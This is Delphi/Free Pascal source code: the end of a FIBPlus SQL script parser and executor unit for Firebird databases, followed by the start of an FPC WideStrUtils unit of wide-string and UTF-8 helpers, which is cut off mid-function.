begin
Result := FInput.Count;
end;
procedure TpFIBSQLParser.SetScript(const Value: TStrings);
begin
FScript.Assign(Value);
FPaused := false;
ScriptIndex := 0;
ImportIndex := 0;
FInput.Clear;
end;
{ Note on TokenizeNextLine. This is not intended to actually tokenize in
terms of SQL tokens. It has two goals. First is to get the primary statement
type in FTokens[0]. These are items like SELECT, UPDATE, CREATE, SET, IMPORT.
The secondary function is to correctly find the end of a statement. So if the
terminator is ; and the statement is "SELECT 'FDR'';' from Table1;" while
correct SQL tokenization is SELECT, 'FDR'';', FROM, Table1 but this is more
than needed. The Tokenizer will tokenize this as SELECT, 'FDR', ';', FROM,
Table1. We get that it is a SELECT statement and get the correct termination
and whole statement in the case where the terminator is embedded inside
a ' or ". }
// Не процедура а полное говно.
function TpFIBSQLParser.TokenizeNextLine: string;
var
InQuote, InDouble, InComment, InSpecial, Done: Boolean;
NextWord: string;
Index: Integer;
// vSkippingCase: Boolean;
vOpenedBrackets, vCloseBrackets: Integer;
procedure ScanToken;
var
SDone: Boolean;
S: string;
function CheckIsTerminator: Boolean;
var
I: Integer;
begin
Result := (Length(FWork) - Index + 1) >= Length(FTerminator);
if Result then
// for I := Index to Index + Length(FTerminator) - 1 do
for I := 1 to Length(FTerminator) do
begin
if FWork[Index + I - 1] <> FTerminator[I] then
begin
Result := False;
Break;
end;
end;
end;
procedure BuildNextWord;
begin
NextWord := Copy(FWork, 1, Index - 1);
end;
begin
NextWord := '';
SDone := false;
Index := 1;
while (Index <= Length(FWork)) and (not SDone) do
begin
{ Hit the terminator, but it is not embedded in a single or double quote
or inside a comment }
if CheckIsTerminator and InSpecial and (vOpenedBrackets=vCloseBrackets) then
begin
SDone := true;
if Pos(FTerminator, FWork) = 1 then
Inc(Index, Length(FTerminator));
break;
end;
if InSpecial and (FTokens.Count > 1) then
S := UpperCase(FTokens[FTokens.Count - 2]);
if ((not InQuote) and (not InDouble) and (not InComment))
and
(((not InSpecial) and
(
CheckIsTerminator //CompareStr(FTerminator, Copy(FWork, Index, Length(FTerminator))) = 0
)
)
or
(InSpecial and
// (FTokens.Count > 1) and ((S = 'END') or (S = 'INACTIVE') or (S = 'ACTIVE')) and
(FTokens.Count > 1) and ( ((vOpenedBrackets>0) and(vOpenedBrackets=vCloseBrackets))
or (S = 'INACTIVE') or (S = 'ACTIVE')) and
(FTokens[FTokens.Count - 1] = FTerminator)
)
) then //pavel
begin
if InSpecial then
begin
Result := Copy(Result, 1, Length(Result) - 1);
InSpecial := false;
end;
Done := true;
BuildNextWord;
Result := Result + NextWord;
Delete(FWork, 1, Length(NextWord) + Length(FTerminator));
NextWord := Trim(UpperCase(NextWord));
if NextWord <> '' then FTokens.Add(UpperCase(NextWord));
Exit;
end;
{ Are we entering or exiting an inline comment? }
if (Index < Length(FWork)) and ((not Indouble) or (not InQuote)) and
(not FInStrComment) and
(FWork[Index] = '/') and (FWork[Index + 1] = '*') then {do not localize}
InComment := true;
if InComment and (Index <> 1) and
(FWork[Index] = '/') and (FWork[Index - 1] = '*') then {do not localize}
InComment := false;
if (Index < Length(FWork)) and (not Indouble) and (not InQuote) and
(not InComment) and
(FWork[Index] = '-') and (FWork[Index + 1] = '-') then {do not localize}
FInStrComment := true;
if (not InComment) and (not FInStrComment) then
{ Handle case when the character is a single quote or a double quote }
case FWork[Index] of
QUOTE:
if not InDouble then
begin
if InQuote then
begin
InQuote := false;
SDone := true;
end
else
InQuote := true;
end;
DBL_QUOTE:
if not InQuote then
begin
if InDouble then
begin
Indouble := false;
SDone := true;
end
else
InDouble := true;
end;
// ' ': {do not localize}
' ',#13,#9,#10,#0,'(',')': //pavel
if (not InDouble) and (not InQuote) then
SDone := true;
end;
// NextWord := NextWord + FWork[Index];
Inc(Index);
end;
{ copy over the remaining non character or spaces until the next word }
while (Index <= Length(FWork)) and (FWork[Index] <= #32) do begin
// NextWord := NextWord + FWork[Index];
Inc(Index);
end;
BuildNextWord;
Result := Result + NextWord;
Delete(FWork, 1, Length(NextWord));
NextWord := Trim(NextWord);
if (Length(NextWord) > 0) and (NextWord[Length(NextWord)] in ['(', ')']) then
Delete(NextWord, Length(NextWord), 1);
// -> dk
// native
// if NextWord <> '' then FTokens.Add(NextWord);
// На случай, если какой-то ебантей напишет так: CREATE /* */ PROCEDURE ...
if (NextWord <> '') and (Pos('/*', NextWord) <> 1) then
FTokens.Add(NextWord);
// <- dk
if (Length(FTerminator) = 1) and (FTerminator[1] = ';') then
begin
S := UpperCase(NextWord);
if (S = 'PROCEDURE') or (S = 'TRIGGER') then
InSpecial := true;
end;
//мои изменения для правильной работы DROP TRIGGER, DROP PROCEDURE, EXECUTE PROCEDURE
if Inspecial and (FTokens.Count > 1) and
(
(
((UpperCase(FTokens[FTokens.Count-2])='DROP') and
((UpperCase(FTokens[FTokens.Count-1])='TRIGGER') or
(UpperCase(FTokens[FTokens.Count-1])='PROCEDURE'))) or
//PAVEL ->
// ((AnsiUpperCase(FTokens[FTokens.Count-2])='EXECUTE') and (AnsiUpperCase(FTokens[FTokens.Count-1])='PROCEDURE')))
((UpperCase(FTokens[0])='EXECUTE') and (UpperCase(FTokens[1])='PROCEDURE'))) or
(UpperCase(FTokens[0])='GRANT') or
(UpperCase(FTokens[0])='REVOKE')
)
//PAVEL <-
then Inspecial := False;
if Inspecial and (FTokens.Count > 1) and (UpperCase(FTokens[0])='DESCRIBE') then Inspecial := False;
//
S := UpperCase(NextWord);
if (S='BEGIN') or (S='CASE') then
begin
Inc(vOpenedBrackets);
end
else
if S='END' then
Inc(vCloseBrackets);
if InSpecial and (UpperCase(NextWord) = 'END' + FTerminator) then {do not localize} //pavel
begin
FTokens[FTokens.Count - 1] := Copy(FTokens[FTokens.Count - 1], 1, 3);
FTokens.Add(FTerminator); {do not localize} //pavel
end;
(*pavel*)
if (//(not vSkippingCase) and
InSpecial and
(FTokens.Count > 1) and
(FTokens[FTokens.Count - 1] = FTerminator)) then
begin
S := UpperCase(FTokens[FTokens.Count - 2]);
// if ((S = 'END') or (S = 'INACTIVE') or (S = 'ACTIVE')) then //pavel
if ((vOpenedBrackets>0) and(vOpenedBrackets=vCloseBrackets) or (S = 'INACTIVE') or (S = 'ACTIVE')) then //pavel
begin
InSpecial := false;
vOpenedBrackets:=0;
vCloseBrackets :=0;
Done := true;
end;
end;
(*pavel*)
end;
begin
// vSkippingCase := False;
vOpenedBrackets:=0;
vCloseBrackets :=0;
InSpecial := false;
FTokens.Clear;
if Trim(FWork) = '' then AppendNextLine;
try
RemoveComment;
except
on E: Exception do begin
DoOnError(E.Message, '');
exit;
end
end;
if not InInput then LineIndex := ScriptIndex - 1;//pavel перенесено со строки 599, т.к. в событие OnParse свойство CurrentLine содержало значения начала комментария
InQuote := false;
InDouble := false;
InComment := false;
FInStrComment := false;
Done := false;
Result := '';
while not Done do begin
{ Check the work queue, if it is empty get the next line to process }
if FWork = '' then
if not AppendNextLine then Break;
ScanToken;
end;
if not InInput then FEndLine := ScriptIndex - 1;
end;
{ TpFIBScript }
constructor TpFIBScript.Create(AOwner: TComponent);
begin
inherited;
FSQLParser := TpFIBSQLParser.Create(self);
FSQLParser.OnError := ParserError;
FSQLParser.OnParse := ParserParse;
Terminator := ';'; {do not localize}
// FDDLTransaction := TpFIBTransaction.Create(self);
FDDLQuery := TpFIBQuery.Create(self);
FDDLQuery.ParamCheck := False;
FAutoDDL := true;
FStatsOn := true;
FStats := TpFIBScriptStats.Create;
FStats.Database := FDatabase;
FSQLDialect := 3;
FBlobFile := nil;
FBlobFileName := EmptyStr;
FCharSet := '';
end;
destructor TpFIBScript.Destroy;
begin
FDDLQuery.Free;
if Assigned(FSQLParser) and (FSQLParser.Owner = Self) then
FSQLParser.Free;
FStats.Free;
// FDDLTransaction.Free;
inherited;
end;
procedure TpFIBScript.DoConnect(const SQLText: string);
var
i: integer;
// Param: string;
begin
// SetupNewConnection;
if Database.Connected then Database.Connected := false;
Database.SQLDialect := FSQLDialect;
DataBase.DBParams.Clear;
Database.DatabaseName := StripQuote(SQLParser.CurrentTokens[1]);
i := 2;
while i < SQLParser.CurrentTokens.Count - 1 do begin
if AnsiSameText(SQLParser.CurrentTokens[i], 'USER') then {do not localize}
begin
Database.ConnectParams.UserName := StripQuote(SQLParser.CurrentTokens[i + 1]);
Inc(i, 2);
end else
if AnsiSameText(SQLParser.CurrentTokens[i], 'PASSWORD') then {do not localize}
begin
Database.ConnectParams.Password := StripQuote(SQLParser.CurrentTokens[i + 1]);
Inc(i, 2);
end else
if AnsiSameText(SQLParser.CurrentTokens[i], 'ROLE') then {do not localize}
begin
Database.ConnectParams.RoleName := StripQuote(SQLParser.CurrentTokens[i + 1]);
Inc(i, 2);
end else
if AnsiSameText(SQLParser.CurrentTokens[i], 'SET') and
AnsiSameText(SQLParser.CurrentTokens[i-1], 'CHARACTER') then {do not localize}
begin
Database.ConnectParams.CharSet := StripQuote(SQLParser.CurrentTokens[i + 1]);
FCharSet := Database.ConnectParams.CharSet;
Inc(i, 2);
end else
Inc(i, 1);
end;
Database.Connected := true;
end;
procedure TpFIBScript.DoDisconnect;
begin
if Assigned(FDatabase) then
begin
if Assigned(FTransaction) and FTransaction.InTransaction then
FTransaction.Rollback;
FDatabase.Connected := False;
end;
end;
procedure TpFIBScript.DoCreate(const SQLText: string);
var
i: Integer;
begin
// SetupNewConnection;
FDatabase.DatabaseName := StripQuote(SQLParser.CurrentTokens[2]);
i := 3;
Database.DBParams.Clear;
while i < SQLParser.CurrentTokens.Count - 1 do begin
Database.DBParams.Add(SQLParser.CurrentTokens[i] + ' ' +
SQLParser.CurrentTokens[i + 1]);
Inc(i, 2);
end;
FDatabase.SQLDialect := FSQLDialect;
FDatabase.CreateDatabase;
if FStatsOn and Assigned(FDatabase) and FDatabase.Connected then FStats.Start;
end;
procedure TpFIBScript.DoDDL(const Text: string);
begin
if Assigned(FDDLQuery) then
begin
if AutoDDL then
FDDLQuery.Transaction := FDDLTransaction
else
FDDLQuery.Transaction := FTransaction;
if Assigned(FDDLQuery.Transaction) then
if not FDDLQuery.Transaction.InTransaction then FDDLQuery.Transaction.StartTransaction;
FDDLQuery.SQL.Text := Text;
if FLastDDLLog<>'' then FDDLQuery.SQL.SaveToFile(FLastDDLLog);
FDDLQuery.ExecQuery;
if Assigned(FAfterExecute) then
FAfterExecute(Self, stmtDDL, FSQLParser.CurrentTokens, Text);
if AutoDDL then FDDLTransaction.Commit;
end;
end;
procedure TpFIBScript.DoDML(const Text: string);
var
FPaused : Boolean;
I: Integer;
lo, len: Integer;
// p: PChar;
m: TMemoryStream;
begin
FPaused := false;
if Assigned(FDataSet) then begin
if FDataSet.Active then FDataSet.Close;
FDataSet.SelectSQL.Text := Text;
if FLastDMLLog<>'' then FDataSet.SelectSQL.SaveToFile(FLastDMLLog);
FDataset.Prepare;
if (FDataSet.Params.Count <> 0) and Assigned(FOnParamCheck) then begin
FOnParamCheck(self, FPaused);
if FPaused then begin
SQLParser.Paused := true;
exit;
end;
end;
if FDataset.StatementType = SQLSelect then FDataSet.Open
else FDataSet.QSelect.ExecQuery;
end else
begin
if Assigned(FDMLQuery) then
begin
if FDMLQuery.Open then FDMLQuery.Close;
FDMLQuery.SQL.Text := Text;
if FLastDMLLog<>'' then FDMLQuery.SQL.SaveToFile(FLastDMLLog);
if not FDMLQuery.Transaction.InTransaction then FDMLQuery.Transaction.StartTransaction;
if FDMLQuery.ParamCount > 0 then
begin
for I := 0 to FDMLQuery.ParamCount - 1 do
begin
if (FDMLQuery.ParamName(I)[1] in ['H','h']) and (Assigned(FBlobFile)) then
begin
// lo := HexStr2Int(Copy(fQuery.ParamName(I), 2, 8));
// len := HexStr2Int(Copy(fQuery.ParamName(I), 11, 8));
lo := StrToInt('$' + Copy(FDMLQuery.ParamName(I), 2, 8));
len := StrToInt('$' + Copy(FDMLQuery.ParamName(I), 11, 8));
if len > 0 then
begin
m := TMemoryStream.Create;
try
// m.Size := len;
FBlobFile.Position := lo;
// p := FBlobFile.Memory;
// Inc(p, lo);
// Move(p^, m.Memory^, len);
m.CopyFrom(FBlobFile, len);
FDMLQuery.Params[I].LoadFromStream(m);
finally
m.Free;
end;
end
else
FDMLQuery.Params[I].AsString := EmptyStr;
end;
end;
end;
FDMLQuery.Prepare;
if (FDMLQuery.Params.Count <> 0) and Assigned(FOnParamCheck) then begin
FOnParamCheck(self, FPaused);
if FPaused then begin
SQLParser.Paused := true;
exit;
end;
end;
FDMLQuery.ExecQuery;
end;
end;
end;
procedure TpFIBScript.DoReconnect;
begin
if Assigned(FDatabase) then begin
FDatabase.Connected := false;
FDatabase.Connected := true;
end;
end;
procedure TpFIBScript.DoSET(const Text: string);
begin
if AnsiSameText('AUTODDL', SQLParser.CurrentTokens[1]) then {do not localize}
FAutoDDL := SQLParser.CurrentTokens[2] = 'ON' {do not localize}
else
if AnsiSameText('SQL', SQLParser.CurrentTokens[1]) and {do not localize}
AnsiSameText('DIALECT', SQLParser.CurrentTokens[2]) then {do not localize}
begin
FSQLDialect := StrToInt(SQLParser.CurrentTokens[3]);
if Database.SQLDialect <> FSQLDialect then begin
if Database.Connected then begin
Database.Close;
Database.SQLDialect := FSQLDialect;
Database.Open;
end else
Database.SQLDialect := FSQLDialect;
end;
end else
begin
if AnsiSameText('NAMES', SQLParser.CurrentTokens[1]) then {do not localize}
FCharSet := SQLParser.CurrentTokens[2]
else
if AnsiSameText('BLOBFILE', SQLParser.CurrentTokens[1]) then {do not localize}
BlobFileName := StripQuote(SQLParser.CurrentTokens[2]);
end;
end;
procedure TpFIBScript.DropDatabase(const SQLText: string);
begin
FDatabase.DropDatabase;
end;
procedure TpFIBScript.ExecuteScript;
begin
FContinue := true;
FExecuting := true;
// FCharSet := '';
if not Assigned(FDataset) then
begin
FDMLQuery := TpFIBQuery.Create(FDatabase);
FDMLQuery.Transaction := FTransaction; //fixed 28.01.2004
end;
// FDDLTransaction.DefaultDatabase := FDatabase;
FDDLQuery.Database := FDatabase;
try
FStats.Clear;
if FStatsOn and Assigned(FDatabase) and FDatabase.Connected then FStats.Start;
SQLParser.Parse;
if FStatsOn then FStats.Stop;
finally
FExecuting := false;
if Assigned(FDMLQuery) then FreeAndNil(FDMLQuery);
if Assigned(FBlobFile) then
begin
FreeAndNil(FBlobFile);
FBlobFileName := EmptyStr;
end;
end;
end;
function TpFIBScript.GetPaused: Boolean;
begin
Result := SQLParser.Paused;
end;
function TpFIBScript.GetScript: TStrings;
begin
Result := SQLParser.Script;
end;
function TpFIBScript.GetSQLParams: TFIBXSQLDA;
begin
Result := nil;
if Assigned(FDataset) then
Result := FDataset.Params
else
if Assigned(FDMLQuery) then
Result := FDMLQuery.Params;
end;
function TpFIBScript.GetTokens: TStrings;
begin
Result := SQLParser.CurrentTokens;
end;
function TpFIBScript.GetSQLParser: TpFIBSQLParser;
begin
if not Assigned(FSQLParser) then
begin
FSQLParser := TpFIBSQLParser.Create(self);
FSQLParser.OnError := ParserError;
FSQLParser.OnParse := ParserParse; //pavel
end;
Result := FSQLParser;
end;
procedure TpFIBScript.SetSQLParser(const Value: TpFIBSQLParser);
begin
if FSQLParser <> Value then
begin
if Assigned(FSQLParser) and (FSQLParser.Owner = Self) then
FSQLParser.Free;
FSQLParser := Value;
FOnParse := FSQLParser.OnParse;
FOnError := FSQLParser.OnError;
FSQLParser.OnError := ParserError;
FSQLParser.OnParse := ParserParse; //pavel
end;
end;
procedure TpFIBScript.SetBlobFileName(const Value: string);
begin
if AnsiUpperCase(FBlobFileName) <> AnsiUpperCase(Value) then
begin
if Assigned(FBlobFile) then
FBlobFile.Free;
// FBlobFile := TMappedMemoryStream.Create(Value);
FBlobFile := TFileStream.Create(Value, fmOpenRead);
FBlobFile.Position := 0;
FBlobFileName := Value;
end;
end;
function TpFIBScript.GetLineProceeding: Integer;
begin
Result := SQLParser.LineProceeding;
end;
function TpFIBScript.GetInputStringCount: Integer;
begin
Result := SQLParser.InputStringCount;
end;
procedure TpFIBScript.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if Operation = opRemove then begin
if AComponent = FDataset then
FDataset := nil
else
if AComponent = FDatabase then
FDatabase := nil
else
if AComponent = FTransaction then
FTransaction := nil;
end;
end;
function TpFIBScript.ParamByName(Idx: String): TFIBXSQLVAR;
begin
Result := nil;
if Assigned(FDataset) then
Result := FDataset.Params.ParamByName(Idx)
else
if Assigned(FDMLQuery) then
Result := FDMLQuery.ParamByName(Idx);
end;
procedure TpFIBScript.ParserError(Sender: TObject; Error,
SQLText: string; LineIndex: Integer);
begin
if Assigned(FOnError) then FOnError(Self, Error, SQLText, LineIndex);
FValidate := false;
SQLParser.Paused := true;
end;
procedure TpFIBScript.ParserParse(Sender: TObject; AKind: TpFIBParseKind;
const SQLText: string);
var
vAfterError: TpFIBAfterError;
begin
try
if Assigned(FOnParse) then FOnParse(self, AKind, SQLText);
FCurrentStmt := AKind;
if not FValidating then
begin
case AKind of
stmtDrop : DropDatabase(SQLText);
stmtDDL, stmtErr:
if not FInBatch then
DoDDL(SQLText)
else
begin
SetLength(FBatchSQLs,Length(FBatchSQLs)+1);
FBatchSQLs[Length(FBatchSQLs)]:=SQLText;
end;
stmtDML:
if not FInBatch then
DoDML(SQLText)
else
begin
SetLength(FBatchSQLs,Length(FBatchSQLs)+1);
FBatchSQLs[Length(FBatchSQLs)-1]:=SQLText;
end;
stmtSET:
begin
if SameText('STATISTICS', SQLParser.CurrentTokens[1]) then {do not localize}
DoDDL('SET ' + SQLText)
else
DoSET(SQLText);
end;
stmtCONNECT: DoConnect(SQLText);
stmtCREATE: DoCreate(SQLText);
stmtTERM: FTerminator := Trim(SQLText);
stmtCOMMIT:
if FTransaction.InTransaction then
FTransaction.Commit;
stmtROLLBACK:
if FTransaction.InTransaction then
FTransaction.Rollback;
stmtReconnect:
DoReconnect;
stmtDisconnect:
DoDisconnect;
stmtBatchStart:
begin
SetLength(FBatchSQLs,0);
FInBatch:=True;
end;
stmtBatchExec:
begin
FDDLQuery.Transaction := FDDLTransaction;
if not FDDLQuery.Transaction.InTransaction then
FDDLQuery.Transaction.StartTransaction;
FDDLQuery.ExecuteAsBatch(FBatchSQLs);
SetLength(FBatchSQLs,0);
FInBatch:=False;
end;
end;
end;
if AKind <> stmtDDL then
if Assigned(FAfterExecute) then
FAfterExecute(Self, AKind, FSQLParser.CurrentTokens, SQLText);
// if Assigned(FOnParse) then FOnParse(self, AKind, SQLText);//pavel - moved up
except
on E: EFIBError do begin
FContinue := false;
FValidate := false;
vAfterError := aeRollback;
if Assigned(FOnExecuteError) then
FOnExecuteError(Self, E.Message, SQLText, SQLParser.CurrentLine, FContinue, vAfterError)
else
raise;
// if FContinue then
// SQLParser.Paused := False
// else
if not FContinue then
begin
SQLParser.Paused := True;
if FTransaction.InTransaction then
if vAfterError = aeCommit then
FTransaction.Commit
else
FTransaction.Rollback;
// if FDDLTransaction.InTransaction then FDDLTransaction.Rollback;
end;
end;
end;
end;
procedure TpFIBScript.SetDatabase(const Value: TpFIBDatabase);
begin
if FDatabase <> Value then begin
if Assigned(FDatabase) then
RemoveFreeNotification(FDatabase);
FDatabase := Value;
if Assigned(FDatabase) then
FreeNotification(FDatabase);
if Assigned(FDDLQuery) then
FDDLQuery.Database := Value;
// if Assigned(FDDLTransaction) then
// FDDLTransaction.DefaultDatabase := Value;
if Assigned(FStats) then
FStats.Database := Value;
if Assigned(FDMLQuery) then
FDMLQuery.Database := Value;
end;
end;
procedure TpFIBScript.SetPaused(const Value: Boolean);
begin
if SQLParser.Paused and (FCurrentStmt = stmtDML) then
if Assigned(FDataSet) then
begin
if FDataset.StatementType = SQLSelect then FDataSet.Open
else FDataset.QSelect.ExecQuery;
end else
begin
if Assigned(FDMLQuery) then
FDMLQuery.ExecQuery;
end;
SQLParser.Paused := Value;
end;
procedure TpFIBScript.SetScript(const Value: TStrings);
begin
SQLParser.Script.Assign(Value);
end;
procedure TpFIBScript.SetStatsOn(const Value: boolean);
begin
if FStatsOn <> Value then begin
FStatsOn := Value;
if FExecuting then begin
if FStatsOn then FStats.Start
else FStats.Stop;
end;
end;
end;
procedure TpFIBScript.SetTerminator(const Value: string);
begin
if FTerminator <> Value then begin
FTerminator := Value;
SQLParser.Terminator := Value;
end;
end;
procedure TpFIBScript.SetTransaction(const Value: TpFIBTransaction);
begin
if FTransaction <> Value then
begin
FTransaction := Value;
FDDLTransaction := Value;
if Assigned(FDMLQuery) then
FDMLQuery.Transaction := Value;
end;
end;
(*
procedure TpFIBScript.SetupNewConnection;
begin
FDDLTransaction.RemoveDatabase(FDDLTransaction.FindDatabase(FDatabase));
if FDatabase.Owner = self then FDatabase.Free;
Database := TpFIBDatabase.Create(self);
if FTransaction.Owner = self then FTransaction.Free;
FTransaction := TpFIBTransaction.Create(self);
FDatabase.DefaultTransaction := FTransaction;
FTransaction.DefaultDatabase := FDatabase;
FDDLTransaction.DefaultDatabase := FDatabase;
FDDLQuery.Database := FDatabase;
if Assigned(FDataset) then begin
FDataset.Database := FDatabase;
FDataset.Transaction := FTransaction;
end;
end;
*)
function TpFIBScript.StripQuote(const Text: string): string;
begin
Result := Text;
if Result[1] in [Quote, DBL_QUOTE] then begin
Delete(Result, 1, 1);
Delete(Result, Length(Result), 1);
end;
end;
function TpFIBScript.ValidateScript: Boolean;
begin
FValidating := true;
FValidate := true;
SQLParser.Parse;
Result := FValidate;
FValidating := false;
end;
{ TpFIBScriptStats }
function TpFIBScriptStats.AddStringValues(list: TStrings): int64;
var
i : integer;
index : integer;
begin
try
Result := 0;
for i := 0 to list.count-1 do begin
index := Pos('=', list.strings[i]); {do not localize}
if index > 0 then Result := Result + StrToInt(Copy(list.strings[i], index + 1, 255));
end;
except
Result := 0;
end;
end;
procedure TpFIBScriptStats.Clear;
begin
FBuffers := 0;
FReads := 0;
FWrites := 0;
FSeqReads := 0;
FFetches := 0;
FReadIdx := 0;
FDeltaMem := 0;
end;
procedure TpFIBScriptStats.SetDatabase(const Value: TpFIBDatabase);
begin
FDatabase := Value;
end;
procedure TpFIBScriptStats.Start;
begin
FStartBuffers := FDatabase.NumBuffers;
FStartReads := FDatabase.Reads;
FStartWrites := FDatabase.Writes;
FStartSeqReads := AddStringValues(FDatabase.ReadSeqCount);
FStartFetches := FDatabase.Fetches;
FStartReadIdx := AddStringValues(FDatabase.ReadIdxCount);
FStartingMem := FDatabase.CurrentMemory;
end;
procedure TpFIBScriptStats.Stop;
begin
FBuffers := FDatabase.NumBuffers - FStartBuffers + FBuffers;
FReads := FDatabase.Reads - FStartReads + FReads;
FWrites := FDatabase.Writes - FStartWrites + FWrites;
FSeqReads := AddStringValues(FDatabase.ReadSeqCount) - FStartSeqReads + FSeqReads;
FReadIdx := AddStringValues(FDatabase.ReadIdxCount) - FStartReadIdx + FReadIdx;
FFetches := FDatabase.Fetches - FStartFetches + FFetches;
FDeltaMem := FDatabase.CurrentMemory - FStartingMem + FDeltaMem;
end;
end.
|
unit WideStrUtils;
{ FPC replacements for some of Delphi's WideStrUtils functions.
Please don't put anything else in here. }
interface
uses
SysUtils, Classes;
{ Wide string manipulation functions }
function WStrAlloc(Size: Cardinal): PWideChar;
function WStrBufSize(const Str: PWideChar): Cardinal;
function WStrMove(Dest: PWideChar; const Source: PWideChar; Count: Cardinal): PWideChar;
function WStrNew(const Str: PWideChar): PWideChar;
procedure WStrDispose(Str: PWideChar);
{ PWideChar version StrLen. Return: Length of Str in Character count. }
function WStrLen(const Str: PWideChar): Cardinal;
function WStrEnd(const Str: PWideChar): PWideChar;
function WStrCat(Dest: PWideChar; const Source: PWideChar): PWideChar;
function WStrCopy(Dest: PWideChar; const Source: PWideChar): PWideChar;
function WStrLCopy(Dest: PWideChar; const Source: PWideChar; MaxLen: Cardinal): PWideChar;
function WStrPCopy(Dest: PWideChar; const Source: WideString): PWideChar;
function WStrPLCopy(Dest: PWideChar; const Source: WideString; MaxLen: Cardinal): PWideChar;
function WStrScan(Str: PWideChar; Chr: WideChar): PWideChar;
function WStrComp(const Str1, Str2: PWideChar): Integer;
function WStrPos(const Str1, Str2: PWideChar): PWideChar;
{ UTF8 string manipulation functions }
function UTF8LowerCase(const S: UTF8string): UTF8string;
function UTF8UpperCase(const S: UTF8string): UTF8string;
{ SysUtils.pas }
{ WideLastChar returns a pointer to the last full character in the string.
This function is Wide version of AnsiLastChar }
function WideLastChar(const S: WideString): PWideChar;
function WideQuotedStr(const S: WideString; Quote: WideChar): WideString;
function WideExtractQuotedStr(var Src: PWideChar; Quote: WideChar): WideString;
function WideDequotedStr(const S: WideString; AQuote: WideChar): WideString;
function WideAdjustLineBreaks(const S: WideString; Style: TTextLineBreakStyle = tlbsCRLF ): WideString;
function WideStringReplace(const S, OldPattern, NewPattern: Widestring;
const Flags: TReplaceFlags): Widestring;
{ StrUtils.pas }
function WideReplaceStr(const AText, AFromText, AToText: WideString): WideString;
function WideReplaceText(const AText, AFromText, AToText: WideString): WideString;
{ in operator support for WideChar }
type
CharSet = set of AnsiChar;
function InOpSet(W: WideChar; const Sets: CharSet): Boolean;
function InOpArray(W: WideChar; const Sets: array of WideChar): Boolean;
{ UTF8 Byte Order Mark. }
const
sUTF8BOMString: array[1..3] of AnsiChar = (AnsiChar(#$EF), AnsiChar(#$BB), AnsiChar(#$BF));
{ If Lead is legal UTF8 lead byte, return True.
Legal lead byte is #$00..#$7F, #$C2..#$FD }
function IsUTF8LeadByte(Lead: AnsiChar): Boolean;
{ If Lead is legal UTF8 trail byte, return True.
Legal lead byte is #$80..#$BF }
function IsUTF8TrailByte(Lead: AnsiChar): Boolean;
{ UTF8CharSize returns the number of bytes required by the first character
in Str. UTF-8 characters can be up to six bytes in length.
Note: If first character is NOT legal lead byte of UTF8, this function
returns 0. }
function UTF8CharSize(Lead: AnsiChar): Integer;
{ UTF8CharLength is a variation of UTF8CharSize. This function returns
the number of bytes required by the first character.
If first character is NOT legal lead byte of UTF8, this function
returns 1, NOT 0. }
function UTF8CharLength(Lead: AnsiChar): Integer; inline;
implementation
//----------------------------------------------------------
function WStrAlloc(Size: Cardinal): PWideChar;
begin
Size := Size * Sizeof(WideChar);
Inc(Size, SizeOf(Cardinal));
GetMem(Result, Size);
Cardinal(Pointer(Result)^) := Size;
Inc(PByte(Result), SizeOf(Cardinal));
end;
function WStrBufSize(const Str: PWideChar): Cardinal;
var
P: PWideChar;
begin
P := Str;
Dec(PByte(P), SizeOf(Cardinal));
Result := (Cardinal(Pointer(P)^) - SizeOf(Cardinal)) div sizeof(WideChar);
end;
function WStrMove(Dest: PWideChar; const Source: PWideChar; Count: Cardinal): PWideChar;
begin
Result := Dest;
Move(Source^, Dest^, Count * Sizeof(WideChar));
end;
function WStrNew(const Str: PWideChar): PWideChar;
var
Size: Cardinal;
begin
if Str = nil then Result := nil else
begin
Size := WStrLen(Str) + 1;
Result := WStrMove(WStrAlloc(Size), Str, Size);
end;
end;
procedure WStrDispose(Str: PWideChar);
begin
if Str <> nil then
begin
Dec(PByte(Str), SizeOf(Cardinal));
FreeMem(Str, Cardinal(Pointer(Str)^));
end;
end;
//----------------------------------------------------------
function WStrLen(const Str: PWideChar): Cardinal;
var
P : PWideChar;
begin
P := Str;
while (P^ <> #0) do Inc(P);
Result := (P - Str);
end;
//----------------------------------------------------------
function WStrEnd(const Str: PWideChar): PWideChar;
begin
Result := Str;
while (Result^ <> #0) do Inc(Result);
end;
function WStrCat(Dest: PWideChar; const Source: PWideChar): PWideChar;
begin
WStrCopy(WStrEnd(Dest), Source);
Result := Dest;
end;
function WStrCopy(Dest: PWideChar; const Source: PWideChar): PWideChar;
var
Src : PWideChar;
begin
Result := Dest;
Src := Source;
while (Src^ <> #$00) do
begin
Dest^ := Src^;
Inc(Src);
Inc(Dest);
end;
Dest^ := #$00;
end;
function WStrLCopy(Dest: PWideChar; const Source: PWideChar; MaxLen: Cardinal): PWideChar;
var
Src : PWideChar;
begin
Result := Dest;
Src := Source;
while (Src^ <> #$00) and (MaxLen > 0) do
begin
Dest^ := Src^;
Inc(Src);
Inc(Dest);
Dec(MaxLen);
end;
Dest^ := #$00;
end;
function WStrPCopy(Dest: PWideChar; const Source: WideString): PWideChar;
begin
Result := WStrLCopy(Dest, PWideChar(Source), Length(Source));
end;
function WStrPLCopy(Dest: PWideChar; const Source: WideString; MaxLen: Cardinal): PWideChar;
begin
Result := WStrLCopy(Dest, PWideChar(Source), MaxLen);
end;
function WStrScan(Str: PWideChar; Chr: WideChar): PWideChar;
begin
Result := Str;
while Result^ <> Chr do
begin
if Result^ = #0 then
begin
Result := nil;
Exit;
end;
Inc(Result);
end;
end;
function WStrComp(const Str1, Str2: PWideChar): Integer;
var
L, R : PWideChar;
begin
L := Str1;
R := Str2;
Result := 0;
repeat
if L^ = R^ then
begin
if L^ = #0 then exit;
Inc(L);
Inc(R);
end
else
begin
Result := (Word(L^) - Word(R^));
exit;
end;
until (False);
end;
function WStrPos(const Str1, Str2: PWideChar): PWideChar;
var
Str, SubStr: PWideChar;
Ch: WideChar;
begin
Result := nil;
if (Str1 = nil) or (Str1^ = #0) or (Str2 = nil) or (Str2^ = #0) then Exit;
Result := Str1;
Ch := Str2^;
repeat
if Result^ = Ch then
begin
Str := Result;
SubStr := Str2;
repeat
Inc(Str);
Inc(SubStr);
if SubStr^ = #0 then exit;
if Str^ = #0 then
begin
Result := nil;
exit;
end;
if Str^ <> SubStr^ then break;
until (FALSE);
end;
Inc(Result);
until (Result^ = #0);
Result := nil;
end;
//----------------------------------------------------------
{ UTF8 string manipulation functions }
function UTF8LowerCase(const S: UTF8string): UTF8string;
begin
Result := UTF8Encode(WideLowerCase(UTF8Decode(S)));
end;
function UTF8UpperCase(const S: UTF8string): UTF8string;
begin
